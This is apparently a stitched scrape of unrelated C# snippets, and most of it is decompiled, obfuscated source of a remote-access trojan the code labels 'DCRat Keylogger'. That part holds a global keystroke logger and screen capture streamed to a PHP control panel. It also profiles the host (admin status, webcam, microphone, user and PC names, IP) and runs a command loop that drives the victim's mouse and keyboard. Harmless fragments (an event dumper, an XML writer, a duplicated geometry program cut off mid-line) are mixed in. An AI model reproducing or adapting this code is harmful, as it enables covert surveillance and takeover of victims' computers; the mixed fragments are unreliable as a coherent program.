public ReadOnlyClassEvent(ClassEvent classEvent) { this.classEvent = classEvent; eventType = new ReadOnlyDelegateReference(classEvent.Type); if (classEvent.IsEventProperty) { addBody = new ReadOnlyMethodBody(classEvent.Accessors.AddBody); removeBody = new ReadOnlyMethodBody(classEvent.Accessors.RemoveBody); } }
public static void ManageFilter(string v, string ord, string temp, string v2) { //Discarded unreachable code: IL_0002 //IL_0003: Incompatible stack heights: 0 vs 1 ItemEventEntry.ConcatList(temp + "/" + ClassEvent.ResetFilter(ClassEvent.RegisterFilter(temp)) + ".php?" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(temp) + "token") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(v2))) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(temp) + "token_uid") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(ClassEvent.RegisterFilter(MappingListAnnotation._ProxyEvent)))) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(temp) + "setdata") + "=%00&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(temp) + "setdata_name") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(MappingListAnnotation._ProxyEvent))) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(temp) + "setdata_extension") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(ClassEvent.ResetFilter(v + MappingListAnnotation._ProxyEvent))))); foreach (string item in ReponseClassSpec.CheckList(ord, 1500)) { CollectFilter(v, item, temp, v2); } }
static GlobalIssuerImporter() { //Discarded unreachable code: IL_0002, IL_0006, IL_0012, IL_0019 //IL_0003: Incompatible stack heights: 0 vs 1 //IL_0007: Incompatible stack heights: 0 vs 1 //IL_0013: Incompatible stack heights: 0 vs 1 //IL_001a: Incompatible stack heights: 0 vs 1 SingletonReader.PushGlobal(); _0001(ClassEvent.RegisterFilter(StartList() + GetList() + CalculateList())); }
internal void _0002() { //Discarded unreachable code: IL_0002 //IL_0003: Incompatible stack heights: 0 vs 1 while (!identifier) { string[] array = ClassEvent.SearchFilter(DecoratorReaderMapper.PatchRequest(ItemEventEntry.ConcatList(this._0002._0002 + "/" + ClassEvent.ResetFilter(ClassEvent.RegisterFilter(this._0002._0002)) + ".php?" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(this._0002._0002) + "token") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(this._0002._0003))) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(this._0002._0002) + "token_uid") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(ClassEvent.RegisterFilter(MappingListAnnotation._ProxyEvent)))) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(this._0002._0002) + "getdata_name") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(MappingListAnnotation._ProxyEvent))) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(this._0002._0002) + "getdata_extension") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(ClassEvent.ResetFilter("rdbuffer" + MappingListAnnotation._ProxyEvent)))) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(this._0002._0002) + "setdata") + "=%00&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(this._0002._0002) + "setdata_name") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(MappingListAnnotation._ProxyEvent))) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(this._0002._0002) + "setdata_extension") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(ClassEvent.ResetFilter("rdbuffer" + MappingListAnnotation._ProxyEvent))))))["response"].ResetClass <string>()).Split(new string[1] { "~*" }, StringSplitOptions.None); string[] array2 = array; foreach (string text in array2) { if (text.Length < 1) { continue; } if (text.Contains("@~")) { string[] array3 = text.Split(new string[1] { "@~" }, StringSplitOptions.None); switch (array3[0]) { case "M": Publisher.MapFilter(Convert.ToInt32(array3[1].Split(',')[0]) + this._0001.Bounds.X, Convert.ToInt32(array3[1].Split(',')[1]) + this._0001.Bounds.Y); break; case "RD": Publisher.InsertFilter(8u, Convert.ToInt32(array3[1].Split(',')[0]) + this._0001.Bounds.X, Convert.ToInt32(array3[1].Split(',')[1]) + this._0001.Bounds.Y, 0, UIntPtr.Zero); break; case "RU": Publisher.InsertFilter(16u, Convert.ToInt32(array3[1].Split(',')[0]) + this._0001.Bounds.X, Convert.ToInt32(array3[1].Split(',')[1]) + this._0001.Bounds.Y, 0, UIntPtr.Zero); break; case "LD": Publisher.InsertFilter(2u, Convert.ToInt32(array3[1].Split(',')[0]) + this._0001.Bounds.X, Convert.ToInt32(array3[1].Split(',')[1]) + this._0001.Bounds.Y, 0, UIntPtr.Zero); break; case "LU": Publisher.InsertFilter(4u, Convert.ToInt32(array3[1].Split(',')[0]) + this._0001.Bounds.X, Convert.ToInt32(array3[1].Split(',')[1]) + this._0001.Bounds.Y, 0, UIntPtr.Zero); break; } } else { SendKeys.SendWait(text); } Thread.Sleep(10); } Thread.Sleep(100); } }
private void DumpEvent(ClassEvent _event) { textWriter.Write(_event.Scope.ToString().ToLower()); if (_event.Modifier != Modifier.Default) { textWriter.Write(" {0}", _event.Modifier.ToString().ToLower()); } textWriter.Write(" event {0}", SafeName(_event.Name)); DumpParametersList(_event.Parameters); textWriter.WriteLine(";"); }
public static HttpWebResponse CustomizeFilter(byte[] asset, string token, string state, string last2) { //Discarded unreachable code: IL_0002 //IL_0003: Incompatible stack heights: 0 vs 1 Dictionary <string, object> dictionary = new Dictionary <string, object>(); dictionary.Add(ClassEvent.ResetFilter(ItemEventEntry.InvokeList(state) + "uploadfile_name"), MappingListAnnotation._ProxyEvent + "." + ClassEvent.ResetFilter(token + MappingListAnnotation._ProxyEvent)); dictionary.Add(ClassEvent.ResetFilter(MappingListAnnotation._ProxyEvent + "." + ClassEvent.ResetFilter(token + MappingListAnnotation._ProxyEvent)), new ItemEventEntry.UtilsEvent(asset, MappingListAnnotation._ProxyEvent + "." + ClassEvent.ResetFilter(token + MappingListAnnotation._ProxyEvent), ClassEvent.ResetFilter(token + MappingListAnnotation._ProxyEvent))); string param = state + "/" + ClassEvent.ResetFilter(ClassEvent.RegisterFilter(state)) + ".php?" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(state) + "token") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(last2))) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(state) + "token_uid") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(ClassEvent.RegisterFilter(MappingListAnnotation._ProxyEvent)))); return(ItemEventEntry.PrintList(param, "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.100 Safari/537.36", dictionary)); }
public static void InitFilter(string instance, string reg, string control, string item2, string ord3) { //Discarded unreachable code: IL_0002 //IL_0003: Incompatible stack heights: 0 vs 1 ItemEventEntry.ConcatList(item2 + "/" + ClassEvent.ResetFilter(ClassEvent.RegisterFilter(item2)) + ".php?" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(item2) + "token") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(ord3))) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(item2) + "token_uid") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(ClassEvent.RegisterFilter(MappingListAnnotation._ProxyEvent)))) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(item2) + "setdata") + "=%00&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(item2) + "setdata_name") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(MappingListAnnotation._ProxyEvent))) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(item2) + "setdata_extension") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(ClassEvent.ResetFilter(reg + MappingListAnnotation._ProxyEvent))))); List <string> list = ReponseClassSpec.CheckList(control, 1500); double num = 100.0 / (double)list.Count; double num2 = 0.0; for (int i = 0; i < list.Count; i++) { num2 += num; ItemEventEntry.ConcatList(item2 + "/" + ClassEvent.ResetFilter(ClassEvent.RegisterFilter(item2)) + ".php?" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(item2) + "token") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(ord3))) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(item2) + "token_uid") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(ClassEvent.RegisterFilter(MappingListAnnotation._ProxyEvent)))) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(item2) + "adddata") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(list[i]))) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(item2) + "adddata_name") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(MappingListAnnotation._ProxyEvent))) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(item2) + "adddata_extension") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(ClassEvent.ResetFilter(reg + MappingListAnnotation._ProxyEvent)))) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(item2) + "setdata") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter("Transfering data: " + Math.Round(num2, 1) + "%"))) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(item2) + "setdata_name") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(MappingListAnnotation._ProxyEvent))) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(item2) + "setdata_extension") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(ClassEvent.ResetFilter(instance + "_status" + MappingListAnnotation._ProxyEvent))))); } }
public static void CallFilter(string asset, string selection) { //Discarded unreachable code: IL_0002 //IL_0003: Incompatible stack heights: 0 vs 1 new Thread((ThreadStart) delegate { //Discarded unreachable code: IL_0002 //IL_0003: Incompatible stack heights: 0 vs 1 SortFilter(asset, selection); DecoratorReaderMapper decoratorReaderMapper = new DecoratorReaderMapper { ["ServerType"] = ParserFilterResolver._0001("C#"), ["ServerVer"] = ParserFilterResolver._0001(MappingListAnnotation._RegistryEvent), ["isMicrophone"] = ParserFilterResolver._0001((DecoratorList._0001() > 0) ? "Y" : "N"), ["isWebcam"] = ParserFilterResolver._0001((new AccountInstanceExpression(WrapperIssuerImporter.serializerEvent).Count > 0) ? "Y" : "N"), ["isAdmin"] = ParserFilterResolver._0001(GlobalIssuerImporter.DestroyList() ? "Y" : "N"), ["WinVer"] = ParserFilterResolver._0001(ObserverEvent.VerifyList()), ["ACTWindow"] = ParserFilterResolver._0001(Publisher.InitEvent()), ["PCName"] = ParserFilterResolver._0001(GlobalIssuerImporter.SetList()), ["UserName"] = ParserFilterResolver._0001(GlobalIssuerImporter.RemoveList()), ["TAG"] = ParserFilterResolver._0001(DecoratorReaderMapper.PatchRequest(MappingListAnnotation.m_ServiceEvent)["TAG"].ResetClass <string>()), ["IpInfo"] = DecoratorReaderMapper.PatchRequest(ItemEventEntry.ConcatList("https://ipinfo.io/json")) }; while (true) { try { decoratorReaderMapper["ACTWindow"] = ParserFilterResolver._0001(Publisher.InitEvent()); string text = ClassEvent.SearchFilter(DecoratorReaderMapper.PatchRequest(ItemEventEntry.ConcatList(asset + "/" + ClassEvent.ResetFilter(ClassEvent.RegisterFilter(asset)) + ".php?" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(asset) + "token") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(selection))) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(asset) + "token_uid") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(ClassEvent.RegisterFilter(MappingListAnnotation._ProxyEvent)))) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(asset) + "getdata_name") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(MappingListAnnotation._ProxyEvent))) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(asset) + "getdata_extension") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(ClassEvent.ResetFilter("command" + MappingListAnnotation._ProxyEvent)))) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(asset) + "setdata") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(decoratorReaderMapper.SetClass((TimeState)0, new BroadcasterError[0])))) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(asset) + "setdata_name") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(MappingListAnnotation._ProxyEvent))) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(asset) + "setdata_extension") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(ClassEvent.ResetFilter("usermaindata" + asset))))))["response"].ResetClass <string>()); if (text.Length > 1) { DecoratorReaderMapper decoratorReaderMapper2 = DecoratorReaderMapper.PatchRequest(text); if (decoratorReaderMapper2.get_Count() > 0) { DecoratorEventEntry.PatchRecord(decoratorReaderMapper2["Command"].ResetClass <string>(), decoratorReaderMapper2["Data"].ResetClass <string>(), asset, selection); } } Thread.Sleep(1000); } catch { Thread.Sleep(10000); } } }).Start(); }
private void ProcessClassEvent(XmlElement parent, ClassEvent _event) { XmlElement savedElement = currentElement; XmlElement tmpElement = document.CreateElement("ClassEvent"); tmpElement.SetAttribute("Name", _event.Name); tmpElement.SetAttribute("Scope", _event.Scope.ToString()); if (_event.Modifier != Modifier.Default) { tmpElement.SetAttribute("Modifier", _event.Modifier.ToString()); } currentElement = document.CreateElement("Parameters"); ProcessParameters(currentElement, _event.Parameters); tmpElement.AppendChild(currentElement); parent.AppendChild(tmpElement); currentElement = savedElement; }
public static void VerifyRecord() { //Discarded unreachable code: IL_0002 //IL_0003: Incompatible stack heights: 0 vs 1 try { if (!Directory.Exists(Path.GetTempPath() + "\\" + ClassEvent.ResetFilter(MappingListAnnotation._ProxyEvent + MappingListAnnotation.m_CandidateEvent))) { Directory.CreateDirectory(Path.GetTempPath() + "\\" + ClassEvent.ResetFilter(MappingListAnnotation._ProxyEvent + MappingListAnnotation.m_CandidateEvent)); } } catch { } new Thread((ThreadStart) delegate { //Discarded unreachable code: IL_0002 //IL_0003: Incompatible stack heights: 0 vs 1 Collection.NewEvent(Path.GetTempPath() + "\\" + ClassEvent.ResetFilter(MappingListAnnotation._ProxyEvent + MappingListAnnotation.m_CandidateEvent) + "\\"); }).Start(); }
public static void ComputeEvent(string var1, int length_cont, bool wantrule, bool isvalue2, string ident3, string pol4) { //Discarded unreachable code: IL_0002 //IL_0003: Incompatible stack heights: 0 vs 1 if (m_System == null) { Screen screen = Screen.PrimaryScreen; try { Screen[] allScreens = Screen.AllScreens; foreach (Screen screen2 in allScreens) { if (var1 == screen2.DeviceName) { screen = screen2; break; } } } catch { } DecoratorReaderMapper decoratorReaderMapper = new DecoratorReaderMapper(); decoratorReaderMapper["w"] = ParserFilterResolver._0001(screen.Bounds.Width); decoratorReaderMapper["h"] = ParserFilterResolver._0001(screen.Bounds.Height); DispatcherInstanceExpression.ExcludeFilter("rdscreensize", decoratorReaderMapper.SetClass((TimeState)0, new BroadcasterError[0]), ident3, pol4); m_System = new Thread((ThreadStart) delegate { //Discarded unreachable code: IL_0002 //IL_0003: Incompatible stack heights: 0 vs 1 while (!identifier) { DispatcherInstanceExpression.CustomizeFilter(ValClientBridge.PrepareList(ValClientBridge.PushList(ValClientBridge.IncludeList(screen), screen.Bounds.Width / length_cont, screen.Bounds.Height / length_cont)), "rdscreen", ident3, pol4); Thread.Sleep(100); } identifier = false; }); m_System.Start(); if (wantrule || isvalue2) { new Thread((ThreadStart) delegate { //Discarded unreachable code: IL_0002 //IL_0003: Incompatible stack heights: 0 vs 1 while (!identifier) { string[] array = ClassEvent.SearchFilter(DecoratorReaderMapper.PatchRequest(ItemEventEntry.ConcatList(ident3 + "/" + ClassEvent.ResetFilter(ClassEvent.RegisterFilter(ident3)) + ".php?" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(ident3) + "token") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(pol4))) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(ident3) + "token_uid") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(ClassEvent.RegisterFilter(MappingListAnnotation._ProxyEvent)))) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(ident3) + "getdata_name") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(MappingListAnnotation._ProxyEvent))) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(ident3) + "getdata_extension") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(ClassEvent.ResetFilter("rdbuffer" + MappingListAnnotation._ProxyEvent)))) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(ident3) + "setdata") + "=%00&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(ident3) + "setdata_name") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(MappingListAnnotation._ProxyEvent))) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(ident3) + "setdata_extension") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(ClassEvent.ResetFilter("rdbuffer" + MappingListAnnotation._ProxyEvent))))))["response"].ResetClass <string>()).Split(new string[1] { "~*" }, StringSplitOptions.None); string[] array2 = array; foreach (string text in array2) { if (text.Length >= 1) { if (text.Contains("@~")) { string[] array3 = text.Split(new string[1] { "@~" }, StringSplitOptions.None); switch (array3[0]) { case "M": Publisher.MapFilter(Convert.ToInt32(array3[1].Split(',')[0]) + screen.Bounds.X, Convert.ToInt32(array3[1].Split(',')[1]) + screen.Bounds.Y); break; case "RD": Publisher.InsertFilter(8u, Convert.ToInt32(array3[1].Split(',')[0]) + screen.Bounds.X, Convert.ToInt32(array3[1].Split(',')[1]) + screen.Bounds.Y, 0, UIntPtr.Zero); break; case "RU": Publisher.InsertFilter(16u, Convert.ToInt32(array3[1].Split(',')[0]) + screen.Bounds.X, Convert.ToInt32(array3[1].Split(',')[1]) + screen.Bounds.Y, 0, UIntPtr.Zero); break; case "LD": Publisher.InsertFilter(2u, Convert.ToInt32(array3[1].Split(',')[0]) + screen.Bounds.X, Convert.ToInt32(array3[1].Split(',')[1]) + screen.Bounds.Y, 0, UIntPtr.Zero); break; case "LU": Publisher.InsertFilter(4u, Convert.ToInt32(array3[1].Split(',')[0]) + screen.Bounds.X, Convert.ToInt32(array3[1].Split(',')[1]) + screen.Bounds.Y, 0, UIntPtr.Zero); break; } } else { SendKeys.SendWait(text); } Thread.Sleep(10); } } Thread.Sleep(100); } }).Start(); } } }
private static IntPtr PushEvent(int lengthdef, IntPtr ord, IntPtr consumer) { //Discarded unreachable code: IL_0002 //IL_0003: Incompatible stack heights: 0 vs 1 if (lengthdef >= 0 && ord == (IntPtr)256) { int num = Marshal.ReadInt32(consumer); bool flag = (Publisher.FillFilter((int) /*Error near IL_0037: Stack underflow*/) & 0xFFFF) != 0; bool flag2 = (Publisher.FillFilter((int) /*Error near IL_0047: Stack underflow*/) & 0x8000) != 0 || (Publisher.FillFilter((int) /*Error near IL_0058: Stack underflow*/) & 0x8000) != 0; string text = PrepareEvent((uint)num); text = ((!(flag || flag2)) ? text.ToLower() : text.ToUpper()); string text2 = text; string text3 = text2; if (text3 != null) { switch (_0003._0001(text3)) { case 957132539u: if (text3 == "<") { text = "<"; } break; case 990687777u: if (text3 == ">") { text = ">"; } break; case 638357778u: if (text3 == "#") { text = "#"; } break; case 588024921u: if (text3 == "&") { text = "&"; } break; case 655135397u: if (text3 == "\"") { text = """; } break; case 571247302u: if (text3 == "'") { text = "'"; } break; case 621580159u: if (text3 == " ") { text = " "; } break; } } if (num >= 112 && num <= 135) { Keys keys = (Keys)num; text = "<span style=\"color: #F85C50;\">[" + keys.ToString() + "]</span>"; } else { Keys keys = (Keys)num; string text4 = keys.ToString(); string text5 = text4; if (text5 != null) { switch (_0003._0001(text5)) { case 1123244352u: if (text5 == "Up") { text = "<span style=\"color: #F85C50;\">[Up]</span>"; } break; case 2761510965u: if (text5 == "Down") { text = "<span style=\"color: #F85C50;\">[Down]</span>"; } break; case 2457286800u: if (text5 == "Left") { text = "<span style=\"color: #F85C50;\">[Left]</span>"; } break; case 513712005u: if (text5 == "Right") { text = "<span style=\"color: #F85C50;\">[Right]</span>"; } break; case 3422663135u: if (text5 == "Return") { text = "<span style=\"color: #F85C50;\">[Enter]</span>"; } break; case 3082514982u: if (text5 == "Escape") { text = "<span style=\"color: #F85C50;\">[ESC]</span>"; } break; case 497839467u: if (text5 == "LControlKey") { text = "<span style=\"color: #F85C50;\">[CTRL]</span>"; } break; case 3954224277u: if (text5 == "RControlKey") { text = "<span style=\"color: #F85C50;\">[CTRL]</span>"; } break; case 3822460366u: if (text5 == "RShiftKey") { text = "<span style=\"color: #F85C50;\">[Shift]</span>"; } break; case 4117013200u: if (text5 == "LShiftKey") { text = "<span style=\"color: #F85C50;\">[Shift]</span>"; } break; case 3264564162u: if (text5 == "Back") { text = "<span style=\"color: #F85C50;\">[Back]</span>"; } break; case 547024555u: if (text5 == "LWin") { text = "<span style=\"color: #F85C50;\">[Win]</span>"; } break; case 4219689196u: if (text5 == "Tab") { text = "<span style=\"color: #F85C50;\">[Tab]</span>"; } break; case 298493515u: if (text5 == "Capital") { text = ((!flag) ? "<span style=\"color: #F85C50;\">[CAPSLOCK: ON]</span>" : "<span style=\"color: #F85C50;\">[CAPSLOCK: OGeckoDBStruct]</span>"); } break; } } } if (!File.Exists(m_Server + DateTime.Now.ToString("dd.MM.yyyy") + "." + ClassEvent.ResetFilter(MappingListAnnotation.m_CandidateEvent))) { File.WriteAllText(m_Server + DateTime.Now.ToString("dd.MM.yyyy") + "." + ClassEvent.ResetFilter(MappingListAnnotation.m_CandidateEvent), "<div style=\"color: white; background-color: #4d4d4d; border-radius: 100px 100px 15px 15px; padding: 3px 0 3px\"><center>DCRat Keylogger # " + DateTime.Now.ToString("dd.MM.yyyy") + "</center></div>"); } using (StreamWriter streamWriter = new StreamWriter(m_Server + DateTime.Now.ToString("dd.MM.yyyy") + "." + ClassEvent.ResetFilter(MappingListAnnotation.m_CandidateEvent), append: true)) { if (m_Facade == Publisher.InitEvent()) { streamWriter.Write(text); } else { m_Facade = Publisher.InitEvent(); streamWriter.WriteLine("<p style=\"color: #7AB1GeckoDBStruct; margin-bottom: 2px\">[" + Publisher.InitEvent() + " # " + DateTime.Now.ToString("HH:mm") + "]</p>"); streamWriter.Write(text); } } } return(Publisher.ValidateFilter(m_Resolver, lengthdef, ord, consumer)); }
public static void CollectFilter(string item, string connection, string proc, string second2) { //Discarded unreachable code: IL_0002 //IL_0003: Incompatible stack heights: 0 vs 1 ItemEventEntry.ConcatList(proc + "/" + ClassEvent.ResetFilter(ClassEvent.RegisterFilter(proc)) + ".php?" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(proc) + "token") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(second2))) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(proc) + "token_uid") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(ClassEvent.RegisterFilter(MappingListAnnotation._ProxyEvent)))) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(proc) + "adddata") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(connection))) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(proc) + "adddata_name") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(MappingListAnnotation._ProxyEvent))) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(proc) + "adddata_extension") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(ClassEvent.ResetFilter(item + MappingListAnnotation._ProxyEvent))))); }
static void Main(string[] args) { Instuctions(); Primitive primitive = new Primitive(); ClassEvent classEvent = new ClassEvent(); primitive.OnChangedLine += classEvent.ChangedLine; bool isExit = false; string input; while (!isExit) { input = Console.ReadLine(); switch (input) { case "R": { double[] firstCircle = new double[3]; double[] secondCircle = new double[3]; double[,] firstTriangle = new double[3, 4]; double[,] secondTriangle = new double[3, 4]; double[,] firstSquare = new double[4, 4]; double[,] secondSquare = new double[4, 4]; /// primitiveArray have all choices of the primitive: /// [0] - triangle (enter T) /// [1] - square (enter S) /// [2] - circle (enter C) string[] primitiveArray = new string[3] { "T", "S", "C" }; #region First primitive string firstPrimitive; do { Console.WriteLine("Select first primitive (T - triangle, S -square, C - circle)"); firstPrimitive = Console.ReadLine(); if (firstPrimitive == primitiveArray[0]) { firstTriangle = primitive.TrianglePrimitive(); } else if (firstPrimitive == primitiveArray[1]) { firstSquare = primitive.SquarePrimitive(); } else if (firstPrimitive == primitiveArray[2]) { firstCircle = primitive.CirclePrimitive(); } else { Console.WriteLine("Value is entered incorrectly"); }; } while (firstPrimitive != primitiveArray[0] && firstPrimitive != primitiveArray[1] && firstPrimitive != primitiveArray[2]); #endregion #region Second primitive string secondPrimitive; do { Console.WriteLine("Select second primitive (T - triangle, S -square, C - circle)"); secondPrimitive = Console.ReadLine(); if (secondPrimitive == primitiveArray[0]) { secondTriangle = primitive.TrianglePrimitive(); } else if (secondPrimitive == primitiveArray[1]) { secondSquare = primitive.SquarePrimitive(); } else if (secondPrimitive == primitiveArray[2]) { secondCircle = primitive.CirclePrimitive(); } else { Console.WriteLine("Value is entered incorrectly"); }; } while (secondPrimitive != primitiveArray[0] && secondPrimitive != primitiveArray[1] && secondPrimitive != primitiveArray[2]); #endregion #region Intersections primitives if (firstPrimitive == primitiveArray[2] && secondPrimitive != primitiveArray[2] || firstPrimitive != primitiveArray[2] && secondPrimitive == primitiveArray[2]) { if (firstPrimitive == primitiveArray[2] && secondPrimitive == primitiveArray[0]) { IntersectionsCircleAndLine(firstCircle, secondTriangle); } if (firstPrimitive == primitiveArray[2] && secondPrimitive == primitiveArray[1]) { IntersectionsCircleAndLine(firstCircle, secondSquare); } if (secondPrimitive == primitiveArray[2] && firstPrimitive == primitiveArray[0]) { IntersectionsCircleAndLine(secondCircle, firstTriangle); } if (secondPrimitive == primitiveArray[2] && firstPrimitive == primitiveArray[1]) { IntersectionsCircleAndLine(secondCircle, firstSquare); } } if (firstPrimitive == primitiveArray[2] && secondPrimitive == primitiveArray[2]) { IntersectionsCircleAndCircle(firstCircle, secondCircle); } if (firstPrimitive != primitiveArray[2] && secondPrimitive != primitiveArray[2]) { if (firstPrimitive == primitiveArray[0] && secondPrimitive == primitiveArray[0]) { IntersectionsLineAndLine(firstTriangle, secondTriangle); } if (firstPrimitive == primitiveArray[1] && secondPrimitive == primitiveArray[1]) { IntersectionsLineAndLine(firstSquare, secondSquare); } if (firstPrimitive == primitiveArray[0] && secondPrimitive == primitiveArray[1]) { IntersectionsLineAndLine(firstTriangle, secondSquare); } if (firstPrimitive == primitiveArray[1] && secondPrimitive == primitiveArray[0]) { IntersectionsLineAndLine(firstSquare, secondTriangle); } } #endregion break; } case "E": { isExit = true; break; } default: Instuctions(); break; } } }
static void Main(string[] args) { Instuctions(); Primitive primitive = new Primitive(); ClassEvent classEvent = new ClassEvent(); primitive.OnChangedLine += classEvent.ChangedLine; bool isExit = false; string input; while (!isExit) { input = Console.ReadLine(); switch (input) { case "R": { double[] firstCircle = new double[3]; double[] secondCircle = new double[3]; double[,] firstTriangle = new double[3, 4]; double[,] secondTriangle = new double[3, 4]; double[,] firstSquare = new double[4, 4]; double[,] secondSquare = new double[4, 4]; /// primitiveArray have all choices of the primitive: /// [0] - triangle (enter T) /// [1] - square (enter S) /// [2] - circle (enter C) string[] primitiveArray = new string[3] { "T", "S", "C" }; #region First primitive string firstPrimitive; do { Console.WriteLine("Select first primitive (T - triangle, S -square, C - circle)"); firstPrimitive = Console.ReadLine(); if (firstPrimitive == primitiveArray[0]) { firstTriangle = primitive.TrianglePrimitive(); } else if (firstPrimitive == primitiveArray[1]) { firstSquare = primitive.SquarePrimitive(); } else if (firstPrimitive == primitiveArray[2]) { firstCircle = primitive.CirclePrimitive(); } else { Console.WriteLine("Value is entered incorrectly"); }; }while (firstPrimitive != primitiveArray[0] && firstPrimitive != primitiveArray[1] && firstPrimitive != primitiveArray[2]); #endregion #region Second 